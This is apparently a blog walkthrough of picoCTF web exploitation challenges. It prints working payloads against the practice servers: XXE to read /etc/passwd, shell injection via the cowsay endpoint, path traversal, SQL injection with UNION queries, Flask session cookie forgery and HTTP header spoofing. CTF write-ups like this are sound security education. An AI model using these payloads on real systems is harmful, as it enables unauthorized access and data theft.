picoCTF Web Exploitation Challenges

This post documents solutions to picoCTF web exploitation challenges. To access picoGym Practice Challenges on the picoCTF website, a registered account is needed. Some of the challenges can be more elegantly solved with automation scripts written in Python.

Table of Contents

GET aHEAD (20 points)

Description: Find the flag being held on this server to get ahead of the competition. http://mercury.picoctf.net:21939/

Solution: Fetch the HTTP server header using the following command:

curl -I http://mercury.picoctf.net:21939/

Cookies (40 points)

Description: Who doesn’t love cookies? Try to figure out the best one. http://mercury.picoctf.net:17781/

Solution: According to this web page,

Cookies are name=contents pairs that an HTTP server tells the client to hold and then the client sends back those to the server on subsequent requests to the same domains and paths for which the cookies were set.

Let’s first run the following command:

$ curl -c - http://mercury.picoctf.net:17781/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>.  If not click the link.# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

mercury.picoctf.net	FALSE	/	FALSE	0	name	-1

From the output, we can learn that wrong cookies have value -1. How about trying some other values? For example:

$ curl -s http://mercury.picoctf.net:17781 -H "Cookie: name=0;" -L | grep -i Cookie
    <title>Cookies</title>
            <h3 class="text-muted">Cookies</h3>
          <!-- <strong>Title</strong> --> That is a cookie! Not very special though...
            <p style="text-align:center; font-size:30px;"><b>I love snickerdoodle cookies!</b></p>

or:

$ curl -s http://mercury.picoctf.net:17781 -H "Cookie: name=1;" -L | grep -i Cookie
    <title>Cookies</title>
            <h3 class="text-muted">Cookies</h3>
          <!-- <strong>Title</strong> --> That is a cookie! Not very special though...
            <p style="text-align:center; font-size:30px;"><b>I love chocolate chip cookies!</b></p>

To capture the flag, we need to provide a Cookie: name=value that is “special”. Here, I took the brute force approach from the command line:

$ for i in {1..100}; do
> contents=$(curl -s http://mercury.picoctf.net:17781 -H "Cookie: name=$i; Path=/" -L)
> if ! echo "$contents" | grep -q "Not very special"; then
> echo "Cookie: name=$i is special"
> echo $contents | grep "picoCTF"
> break
> fi
> done
Cookie: name=18 is special
<!DOCTYPE html> <html lang="en"> <head> <title>Cookies</title> <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet"> <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <div class="container"> <div class="header"> <nav> <ul class="nav nav-pills pull-right"> <li role="presentation"><a href="/reset" class="btn btn-link pull-right">Home</a> </li> </ul> </nav> <h3 class="text-muted">Cookies</h3> </div> <div class="jumbotron"> <p class="lead"></p> <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}</code></p> </div> <footer class="footer"> <p>&copy; PicoCTF</p> </footer> </div> </body> </html>

Alternatively, the following Python program may be used:

#!/bin/python3
import requests

base_url = 'http://mercury.picoctf.net'
port_check = ':17781/check'
url = ''.join([base_url, port_check])

for i in range(100):
    cookie = 'name={}'.format(i)
    headers = {'Cookie':cookie}
    r = requests.get(url, headers=headers)
    if (r.status_code == 200) and ('picoCTF' in r.text):
        print(r.text)

Insp3ct0r (50 points)

Description: Kishor Balan tipped us off that the following code may need inspection: https://jupiter.challenges.picoctf.org/problem/9670/ or http://jupiter.challenges.picoctf.org:9670.

Solution: View page source in Google Chrome (view-source:https://jupiter.challenges.picoctf.org/problem/9670/) and find these lines:

<head>
    <title>My First Website :)</title>
    <link href="https://fonts.googleapis.com/css?family=Open+Sans|Roboto" rel="stylesheet">
    <link rel="stylesheet" type="text/css" href="mycss.css">
    <script type="application/javascript" src="myjs.js"></script>
</head>

<!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 -->

Go to the CSS file (https://jupiter.challenges.picoctf.org/problem/9670/mycss.css) and find the line:

/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */

Finally, go to the JavaScript file (https://jupiter.challenges.picoctf.org/problem/9670/myjs.js) and find the line:

/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?2e7b23e3} */

picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?2e7b23e3} is the flag!

Scavenger Hunt (50 points)

Description: There is some interesting information hidden around this site http://mercury.picoctf.net:44070/. Can you find it?

Solution: The flag is separated into several parts just as the previous challenge. The first two parts can be obtained by looking into the web page source code and the CSS file. However, this time, the last line of the JavaScript file becomes:

/* How can I keep Google from indexing my website? */

I googled this exact sentence and found something here:

You can use a robots.txt file for web pages (HTML, PDF, or other non-media formats that Google can read), to manage crawling traffic if you think your server will be overwhelmed by requests from Google’s crawler, or to avoid crawling unimportant or similar pages on your site.

Out of curiosity, I went to http://mercury.picoctf.net:44070/robots.txt and got:

User-agent: *
Disallow: /index.html
# Part 3: t_0f_pl4c
# I think this is an apache server... can you Access the next flag?

Next, I googled the phrase “Apache server configuration” and, again, found something informative here:

Apache HTTP Server is configured by placing directives in plain text configuration files. The main configuration file is usually called httpd.conf.

httpd allows for decentralized management of configuration via special files placed inside the web tree. The special files are usually called .htaccess, but any name can be specified in the AccessFileName directive. Directives placed in .htaccess files apply to the directory where you place the file, and all sub-directories. The .htaccess files follow the same syntax as the main configuration files. Since .htaccess files are read on every request, changes made in these files take immediate effect.

This is the content of the target website’s .htaccess file (http://mercury.picoctf.net:44070/.htaccess):

# Part 4: 3s_2_lO0k
# I love making websites on my Mac, I can Store a lot of information there.

The second line reminded me of those automatically created .DS_Store files on Mac machines, so I went to http://mercury.picoctf.net:44070/.DS_Store and obtained the final part:

Congrats! You completed the scavenger hunt. Part 5: _7a46d25d}

Alternatively, we may want to use the dirsearch Python library. On my Mac, I installed it with the following command:

pip3 install dirsearch

Information is presented here:

$ pip3 show dirsearch
Name: dirsearch
Version: 0.4.3.post1
Summary: Advanced web path scanner
Home-page: https://github.com/maurosoria/dirsearch
Author: Mauro Soria
Author-email: maurosoria@protonmail.com
License: UNKNOWN
Location: /usr/local/lib/python3.10/site-packages
Requires: beautifulsoup4, certifi, cffi, chardet, charset-normalizer, colorama, cryptography, defusedxml, idna, Jinja2, markupsafe, ntlm-auth, pyopenssl, pyparsing, PySocks, requests, requests-ntlm, urllib3
Required-by:

The usage is rather simple: Just cd into the /usr/local/lib/python3.10/site-packages/dirsearch directory and issue the command:

$ python3 dirsearch.py -u http://mercury.picoctf.net:44070

  _|. _ _  _  _  _ _|_    v0.4.3.post1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /usr/local/lib/python3.10/site-packages/dirsearch/reports/http_mercury.picoctf.net_44070/_23-01-25_09-38-18.txt

Target: http://mercury.picoctf.net:44070/

[09:38:19] Starting: 
[09:38:20] 403 -    9B  - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd             
[09:38:21] 200 -   62B  - /.DS_Store                                        
[09:38:22] 200 -   95B  - /.htaccess                                        
[09:38:22] 200 -   95B  - /.htaccess/                                       
[09:39:22] 200 -  124B  - /robots.txt                                       
                                                                             
Task Completed

Some Assembly Required 1 (70 points)

Description: http://mercury.picoctf.net:55336/index.html

Solution: The JavaScript file looks like this:

const _0x402c = ['value','2wfTpTR','instantiate','275341bEPcme','innerHTML','1195047NznhZg','1qfevql','input','1699808QuoWhA','Correct!','check_flag','Incorrect!','./JIFxzHyW8W','23SMpAuA','802698XOMSrr','charCodeAt','474547vVoGDO','getElementById','instance','copy_char','43591XxcWUl','504454llVtzW','arrayBuffer','2NIQmVj','result'];

const _0x4e0e = function(_0x553839, _0x53c021)
{
  _0x553839 = _0x553839 - 0x1d6;
  let _0x402c6f = _0x402c[_0x553839];
  return _0x402c6f;
};

(function(_0x76dd13, _0x3dfcae)
{
  const _0x371ac6 = _0x4e0e;
  while (!![]) {
    try {
      const _0x478583 = -parseInt(_0x371ac6(0x1eb)) + parseInt(_0x371ac6(0x1ed)) + -parseInt(_0x371ac6(0x1db)) * -parseInt(_0x371ac6(0x1d9)) + -parseInt(_0x371ac6(0x1e2)) * -parseInt(_0x371ac6(0x1e3)) + -parseInt(_0x371ac6(0x1de)) * parseInt(_0x371ac6(0x1e0)) + parseInt(_0x371ac6(0x1d8)) * parseInt(_0x371ac6(0x1ea)) + -parseInt(_0x371ac6(0x1e5));
      if(_0x478583 === _0x3dfcae)
        break;
      else _0x76dd13['push'](_0x76dd13['shift']());
    } catch (_0x41d31a) {
      _0x76dd13['push'](_0x76dd13['shift']());
    }
  }
} (_0x402c, 0x994c3));

let exports;
(async() => {
  const _0x48c3be = _0x4e0e;
  let _0x5f0229 = await fetch(_0x48c3be(0x1e9)), _0x1d99e9 = await WebAssembly[_0x48c3be(0x1df)](await _0x5f0229[_0x48c3be(0x1da)]()), _0x1f8628 = _0x1d99e9[_0x48c3be(0x1d6)];
  exports = _0x1f8628['exports'];
}) ();

function onButtonPress()
{
  const _0xa80748 = _0x4e0e;
  let _0x3761f8 = document['getElementById'](_0xa80748(0x1e4))[_0xa80748(0x1dd)];
  for (let _0x16c626 = 0x0; _0x16c626 < _0x3761f8['length']; _0x16c626++) {
    exports[_0xa80748(0x1d7)](_0x3761f8[_0xa80748(0x1ec)](_0x16c626), _0x16c626);
  }
  exports['copy_char'](0x0,_0x3761f8['length']), exports[_0xa80748(0x1e7)]() == 0x1? document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)] = _0xa80748(0x1e6): document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)] = _0xa80748(0x1e8);
}

More Cookies (90 points)

Description: I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! http://mercury.picoctf.net:10868/

Solution: Similar to the “Cookies” challenge, I first issued the following command:

$ curl -c - http://mercury.picoctf.net:10868/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>.  If not click the link.# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

mercury.picoctf.net	FALSE	/	FALSE	0	auth_name	VXlJd0RZd1ZVWEVaK3NIMGFHTDNGTFcwMU90TXVwWG9zRmhtaTVwQ3dCRXhnaUNkajhMVW5aa2tRSkRjTGJ4NW54aStvUW8zSERjb3Q5Y0p4T05xak8wNHlwa2ErZXk0UmNUcVdRanFlSlByZXg0aXNLWENpWDMxNUxxY0J6R0U=

Clearly, the cookie was encrypted and converted into base64 format. The first hint is the Wikipedia link for “homomorphic encryption”. Note that there are three oddly capitalized letters in the challenge description: C, B, C. Hence, I googled “homomorphic encryption CBC decrypt” and found something useful here:

The purpose of the CBC (cipher block chaining) byte flipping attack is to bypass filters by adding malicious chars like a single quote, or to elevate privileges by changing the ID of the user to admin, or any other consequence of changing the plaintext expected by an application.

A Python program is provided by Hayden Housen. Below is the program output:

$ python3 morecookies.py
  9%|██████▉                                                                   | 9/96 [00:04<00:40,  2.14it/s]Admin bit found in byte 9 bit 0.
Flag: picoCTF{cO0ki3s_yum_e57b2438}
  9%|██████▉                                                                   | 9/96 [00:04<00:46,  1.87it/s]

logon (100 points)

Description: The factory is hiding things from all of its users. Can you login as Joe and find what they’ve been looking at? link or http://jupiter.challenges.picoctf.org:44573

Solution: To capture the flag, we need to manually set the cookie value for whatever username we choose.

Who are you? (100 points)

Description: Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:1270/

Solution: When we first open the link, we will notice the line —— “Only people who use the official PicoBrowser are allowed on this site!” Try the following command:

curl --user-agent "PicoBrowser" http://mercury.picoctf.net:1270/

We should then find:

<h3 style="color:red">I don&#39;t trust users visiting from another site.</h3>

The Referer field in the HTTP header identifies the page that led to the current web page. When a user clocks on a link on web page A to go to web page B, the referer header string for page B will contain the URL of page A. Try the following command:

curl --user-agent "PicoBrowser" --referer "http://mercury.picoctf.net:1270/" http://mercury.picoctf.net:1270/

We should then find:

<h3 style="color:red">Sorry, this site only worked in 2018.</h3>

Let’s give a 2018 date:

$ curl --user-agent "PicoBrowser" --referer "http://mercury.picoctf.net:1270/" -H "Date: Thu, 02 Feb 2018 19:44:00 CST" http://mercury.picoctf.net:1270/ | grep "<h3.*>.*<\/h3>"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1046  100  1046    0     0  15144      0 --:--:-- --:--:-- --:--:-- 17147
				<h3 style="color:red">I don&#39;t trust users who can be tracked.</h3>

The DNT (Do Not Track) request header indicates the user’s tracking preference. When set to 1, the user is not to be tracked on the target site:

$ curl -s --user-agent "PicoBrowser" --referer "http://mercury.picoctf.net:1270/" -H "Date: Thu, 02 Feb 2018 19:44:00 CST" -H "DNT: 1" http://mercury.picoctf.net:1270/ | grep "<h3.*>.*<\/h3>"
				<h3 style="color:red">This website is only for people from Sweden.</h3>

The X-Forwarded-For (XFF) request header is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through a proxy server. Let’s use an IP address from Sweden:

$ curl -s --user-agent "PicoBrowser" --referer "http://mercury.picoctf.net:1270/" -H "Date: Thu, 02 Feb 2018 19:44:00 CST" -H "DNT: 1" -H "X-Forwarded-For: 103.81.143.255" http://mercury.picoctf.net:1270/ | grep "<h3.*>.*<\/h3>"
				<h3 style="color:red">You&#39;re in Sweden but you don&#39;t speak Swedish?</h3>

Set the Accept-Language field to Swedish:

$ curl -s --user-agent "PicoBrowser" --referer "http://mercury.picoctf.net:1270/" -H "Date: Thu, 02 Feb 2018 19:44:00 CST" -H "DNT: 1" -H "X-Forwarded-For: 103.81.143.255" -H "Accept-Language: sv-SE" http://mercury.picoctf.net:1270/ | grep "<h3.*>.*<\/h3>"
				<h3 style="color:green">What can I say except, you are welcome</h3>

There we go! Rerun the command without the grep portion, we should see this line:

<b>picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}</b>

login (100 points)

Description: My dog-sitter’s brother made this website but I can’t get in; can you help? login.mars.picoctf.net/

Solution: The index.js file contains the following code:

(async() => {
  await new Promise((e => window.addEventListener("load", e))), document.querySelector("form").addEventListener (
    "submit",
    (e => {
      e.preventDefault();
      const r = {
        u:"input[name=username]",
        p:"input[name=password]"
      },
      t = {};
      for (const e in r)
        t[e] = btoa(document.querySelector(r[e]).value).replace(/=/g, "");
        return "YWRtaW4" !== t.u? alert("Incorrect Username" : "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== t.p? alert("Incorrect Password") : void alert(`Correct Password! Your flag is ${atob(t.p)}.`)
    })
  )
}) ();

which simply checks the user input strings against two predefined strings: YWRtaW4 (encoded username) and cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ (encoded password). Considering that the btoa() method creates a Base64-encoded ASCII string from a binary string, we might want to use Python’s interactive shell and the base64 library to decode the above two strings:

>>> import base64
>>> a = 'YWRtaW4'
>>> a += '=' * (-len(a) % 4)  # padding
>>> base64.b64decode(a).decode('utf-8')
'admin'
>>> b = 'cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ'
>>> b += '=' * (-len(b) % 4)  # padding
>>> base64.b64decode(b).decode('utf-8')
'picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}'

Includes (100 points)

Description: Can you get the flag? Go to this website and see what you can discover.

Solution: Just go check the CSS file and the JavaScript file.

Inspect HTML (100 points)

Description: Can you get the flag? Go to this website and see what you can discover.

Solution: Just view page source.

Local Authority (100 points)

Description: Can you get the flag? Go to this website and see what you can discover.

Solution: Go check the secure.js file.

Search Source (100 points)

Description: The developer of this website mistakenly left an important artifact in the website source, can you find it?

Solution: I found this shell script very useful:

#!/bin/bash
wget --recursive --no-parent http://saturn.picoctf.net:58133/
mv saturn.picoctf.net:58133 website
grep -rho "picoCTF{.*}" website # we know the flag structure
rm -rf website

MatchTheRegex (100 points)

Description: How about trying to match a regular expression? Additional details will be available after launching your challenge instance.

Solution: Open page source, then we can find the following JavaScript function:

function send_request() {
    let val = document.getElementById("name").value;
    // ^p.....F!?
    fetch(`/flag?input=${val}`)
        .then(res => res.text())
        .then(res => {
            const res_json = JSON.parse(res);
            alert(res_json.flag)
            return false;
        })
    return false;
}

Go to this URL: http://saturn.picoctf.net:55440/flag?input=picoCTF.

SOAP (100 points)

Description: The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?

Solution: Pay attention to the following two files (the port number is randomly assigned for each instance):

// In: view-source:http://saturn.picoctf.net:64810/static/js/xmlDetailsCheckPayload.js
window.contentType = 'application/xml';

function payload(data) {
    var xml = '<?xml version="1.0" encoding="UTF-8"?>';
    xml += '<data>';

    for(var pair of data.entries()) {
        var key = pair[0];
        var value = pair[1];

        xml += '<' + key + '>' + value + '</' + key + '>';
    }

    xml += '</data>';
    return xml;
}

// In: view-source:http://saturn.picoctf.net:64810/static/js/detailsCheck.js
document.querySelectorAll('.detailForm').forEach(item => {
    item.addEventListener("submit", function(e) {
        checkDetails(this.getAttribute("method"), this.getAttribute("action"), new FormData(this));
        e.preventDefault();
    });
});
function checkDetails(method, path, data) {
    const retry = (tries) => tries == 0
        ? null
        : fetch(
            path,
            {
                method,
                headers: { 'Content-Type': window.contentType },
                body: payload(data)
            }
          )
            .then(res => res.status == 200
                ? res.text().then(t => t)
                : "Could not find the details. Better luck next time :("
            )
            .then(res => document.getElementById("detailsResult").innerHTML = res)
            .catch(e => retry(tries - 1));

    retry(3);
}

We just need to make POST request to the http://saturn.picoctf.net:64810/data with XML payload to get the flag:

import requests

port = "64810"

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/111.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Connection': 'keep-alive',
}

data = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]><data><ID>&file;</ID></data>'

response = requests.post(f"http://saturn.picoctf.net:{port}/data", headers=headers, data=data, verify=False)

print(response)

Most Cookies (150 points)

Description: Alright, enough of using my own encryption. Flask session cookies should be plenty secure! mercury.picoctf.net:65344/ server.py:

from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

@app.route("/")
def main():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "blank":
			return render_template("index.html", title=title)
		else:
			return make_response(redirect("/display"))
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/search", methods=["GET", "POST"])
def search():
	if "name" in request.form and request.form["name"] in cookie_names:
		resp = make_response(redirect("/display"))
		session["very_auth"] = request.form["name"]
		return resp
	else:
		message = "That doesn't appear to be a valid cookie."
		category = "danger"
		flash(message, category)
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/reset")
def reset():
	resp = make_response(redirect("/"))
	session.pop("very_auth", None)
	return resp

@app.route("/display", methods=["GET"])
def flag():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "admin":
			resp = make_response(render_template("flag.html", value=flag_value, title=title))
			return resp
		flash("That is a cookie! Not very special though...", "success")
		return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

if __name__ == "__main__":
	app.run()

Solution: Below is the Python program provided by Hayden Housen. Make sure to modify possible_keys and cookie_str based on your version of the challenge.

import hashlib
from itsdangerous import URLSafeTimedSerializer
from itsdangerous.exc import BadTimeSignature
from flask.sessions import TaggedJSONSerializer
def flask_cookie(secret_key, cookie_str, operation):
    # This function is a simplified version of the SecureCookieSessionInterface: https://github.com/pallets/flask/blob/020331522be03389004e012e008ad7db81ef8116/src/flask/sessions.py#L304.
    salt = 'cookie-session'
    serializer = TaggedJSONSerializer()
    signer_kwargs = {
        'key_derivation': 'hmac',
        'digest_method': hashlib.sha1
    }
    s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)
    if operation == "decode":
        return s.loads(cookie_str)
    else:
        return s.dumps(cookie_str)

# The list of possible secret keys used by the app.
possible_keys = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

# An encoded cookie pulled from the live application that can be used to guess the secret key.
cookie_str = "eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Y97Vgg.TtqbMtSKeXHwwdoASbxS5Bo-j18"

# For each possible key try to decode the cookie.
for possible_secret_key in possible_keys:
    try:
        cookie_decoded = flask_cookie(possible_secret_key, cookie_str, "decode")
    except BadTimeSignature:
        # If the decoding fails then try the next key.
        continue
    secret_key = possible_secret_key
    # Break the loop when we have the corret key.
    break

print("Secret Key: %s" % secret_key)

# The admin cookie has the `very_auth` value set to `admin`, which can be seen on line 46 of the server.py code.
admin_cookie = {"very_auth": "admin"}
# Encode the cookie used the `SecureCookieSessionInterface` logic.
admin_cookie_encoded = flask_cookie(secret_key, admin_cookie, "encode")

print("Admin Cookie: %s" % admin_cookie_encoded)

caas (150 points)

Description: Now presenting cowsay as a service

The index.js file:

const express = require('express');
const app = express();
const { exec } = require('child_process');

app.use(express.static('public'));

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

app.listen(3000, () => {
  console.log('listening');
});

Solution: Just some code injection:

$ curl -s "https://caas.mars.picoctf.net/cowsay/hello;ls"
 _______
< hello >
 -------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
Dockerfile
falg.txt
index.js
node_modules
package.json
public
yarn.lock

And then:

$ curl -s "https://caas.mars.picoctf.net/cowsay/hello;cat%20falg.txt"
 _______
< hello >
 -------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}

picobrowser (200 points)

Description: This website can be rendered only by picobrowser, go and catch the flag! https://jupiter.challenges.picoctf.org/problem/28921/ or http://jupiter.challenges.picoctf.org:28921

Solution: Pay attention to the following line in the page source code:

<div class="jumbotron">
  <p class="lead"></p>
  <p><a href="/flag" class="btn btn-lg btn-success btn-block"> Flag</a></p>
  </div>

Issue the command:

curl -s -H "User-Agent: picobrowser" https://jupiter.challenges.picoctf.org/problem/28921/flag

Forbidden Paths (200 points)

Description: Can you get the flag? Here is the website. We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?

<form role="form" action="read.php" method="post">
  <input type="text" name="filename" placeholder="Filename" required></br>
  <button type="submit" name="read">Read</button>
</form>

Solution: The simple command does not work:

$ curl -s http://saturn.picoctf.net:49700/flag.txt
<html>
<head><title>500 Internal Server Error</title></head>
<body>
<center><h1>500 Internal Server Error</h1></center>
<hr><center>nginx</center>
</body>
</html>

or

$ curl -X POST "http://saturn.picoctf.net:49700/read.php" -d filename=flag.txt
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="style.css">
    <title>Web eReader</title>
  </head>
  <body>
    
    File does not exist  </body>
</html>

Try some relative paths:

$ curl -X POST "http://saturn.picoctf.net:49700/read.php" -d filename=../../../../flag.txt
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="style.css">
    <title>Web eReader</title>
  </head>
  <body>
    
    picoCTF{7h3_p47h_70_5ucc355_6db46514}<br>  </body>
</html>

Description: Can you get the flag? Go to this website and see what you can discover.

Solution: Open the link, press the button, set Cookie: isAdmin=1, then refresh page.

Secrets (200 points)

Description: We have several pages hidden. Can you find the one with the flag? The website is running here.

Solution: Go to saturn.picoctf.net:61481/secret/hidden/superhidden/.

More SQLi (200 points)

Description: Can you find the flag on this website. Try to find the flag here.

Solution: As a first attempt, I typed “admin” for both the username and the password fields. After submitting, the web page changed to:

username: admin
password: admin
SQL query: SELECT id FROM users WHERE password = 'admin' AND username = 'admin'

We can easily get to (http://saturn.picoctf.net:52996/welcome.php) with a password like “'or 1=1;--” and an arbitrary username (e.g., 123). Type 123' UNION SELECT 1, sqlite_version(), 3;-- in the search box and we know that the website is using SQLite. List all tables using the string 123' UNION SELECT name, sql, null from sqlite_master;--. Let’s capture the flag with 123' UNION SELECT flag, null, null from more_table;--.